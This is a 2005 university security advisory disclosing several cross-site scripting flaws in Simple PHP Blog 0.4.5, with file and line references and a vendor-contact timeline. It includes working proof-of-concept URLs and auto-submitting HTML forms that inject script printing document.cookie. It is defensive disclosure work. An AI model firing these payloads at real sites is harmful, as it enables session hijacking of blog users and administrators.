Simple PHP Blog: Multiple XSS Vulnerabilities

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Simple PHP Blog: Multiple XSS Vulnerabilities
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Technical University of Vienna Security Advisory
TUVSA-0511-001, November 2, 2005
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Affected applications
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Simple PHP Blog (www.simplephpblog.com)

Versions 0.4.5 and prior.

Description
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1.) preview_cgi.php, part 1

There is a cross-site scripting (XSS) vulnerability in the file preview_cgi.php on line 126: The variable $entry is echoed,
but hasn't been sufficiently sanitized before. When logged in, this issue can be tested with the following URL:

http://your-server/path-to-sphpblog/preview_cgi.php?entry=foo"><script>a
lert(document.cookie)</script>

The fields "your-server" and "path-to-sphpblog" in the given URL have to be adjusted accordingly.

2.) preview_cgi.php, part 2

There is another cross-site scripting vulnerability in the file preview_cgi.php on line 129: The variable $temp_subject is echoed,
but hasn't been sufficiently sanitized before. When logged in, this issue can be tested by visiting a page structured
as follows:

<form action="http://your-server/path-to-sphpblog/preview_cgi.php" method="post">
        <input name="blog_subject" value='"><script>alert(document.cookie)</script>'/>
        <input type="submit"/>
    </form>

<script type="text/javascript">
      document.forms[0].submit();
    </script>

An analogous vulnerability affects preview_cgi.php on line 158:

<form action="http://your-server/path-to-sphpblog/preview_cgi.php" method="post">
    <input name="blog_text" value='</textarea><script>alert(document.cookie)</script>'/>
        <input type="submit"/>
    </form>

<script type="text/javascript">
      document.forms[0].submit();
    </script>

3.) preview_static_cgi.php

In the file preview_static_cgi.php, there are four vulnerabilities resembling those in preview_cgi.php:

- line 73, variable $entry; example URL:

http://localhost/~enji/path-to-sphpblog/preview_static_cgi.php?entry=foo
"><script>alert(document.cookie)</script>

- line 76, variable $temp_subject; example file:

<form action="http://your-server/path-to-sphpblog/preview_static_cgi.php" method="post">
        <input name="blog_subject" value='"><script>alert(document.cookie)</script>'/>
        <input type="submit"/>
    </form>

<script type="text/javascript">
      document.forms[0].submit();
    </script>

- line 158, variable $temp_text; example file:

<form action="http://your-server/path-to-sphpblog/preview_static_cgi.php" method="post">
    <input name="blog_text" value='</textarea><script>alert(document.cookie)</script>'/>
        <input type="submit"/>
    </form>

<script type="text/javascript">
      document.forms[0].submit();
    </script>

- line 108, variable $temp_file_name is set to $_POST['file_name'] if $_GET['entry'] is not set, and set to $entry otherwise
(in this case, see vulnerability on line 73); example file:

<form action="http://your-server/path-to-sphpblog/preview_static_cgi.php" method="post">
    <input name="file_name" value='"><script>alert(document.cookie)</script>'/>
        <input type="submit"/>
    </form>

<script type="text/javascript">
      document.forms[0].submit();
    </script>

4) colors.php

The variables variables $preset_name and $result on line 187 of the file colors.php are also vulnerable to XSS. This can be tested with one of the following two pages:

<form action="http://your-server/path-to-sphpblog/colors_cgi.php" method="post">
        <input name="save_btn" value="1"/>
        <input name="scheme_name" value='"></option></select><script>alert(document.cookie)</script>'/>
        <input name="scheme_file" value="blabla"/>
        <input type="submit"/>
    </form>

<script type="text/javascript">
      document.forms[0].submit();
    </script>

or

<form action="http://your-server/path-to-sphpblog/colors_cgi.php" method="post">
        <input name="save_btn" value="1"/>
        <input name="scheme_name" value="myscheme"/>
        <input name="scheme_file" value="blabla"/>
        <input name="bg_color" value='"><script>alert(document.cookie)</script>'/>
        <input type="submit"/>
    </form>

<script type="text/javascript">
      document.forms[0].submit();
    </script>

Solution
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The authors are currently working on a new version of Simple PHP Blog that is
supposed to fix these vulnerabilities.

Timeline:

September 22, 2005:
Vulnerabilities reported via the contact form under
http://www.simplephpblog.com/contact.php.

September 29, 2005:
Message posted to the project-related SourceForge bug forum
(http://sourceforge.net/projects/sphpblog) due to missing response.

October 1, 2005:
Developers reply via SourceForge.

October 2, 2005:
Vulnerabilities reported via the e-mail address given in the previous reply.

Until November 2, 2005:
Occasional contact via e-mail, announcement of advisory release date one week
in advance remained uncommented.

November 2, 2005:
Advisory submission.

References
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http://www.seclab.tuwien.ac.at/advisories/TUVSA-0511-001.txt

Nenad Jovanovic
Secure Systems Lab 
Technical University of Vienna 
www.seclab.tuwien.ac.at

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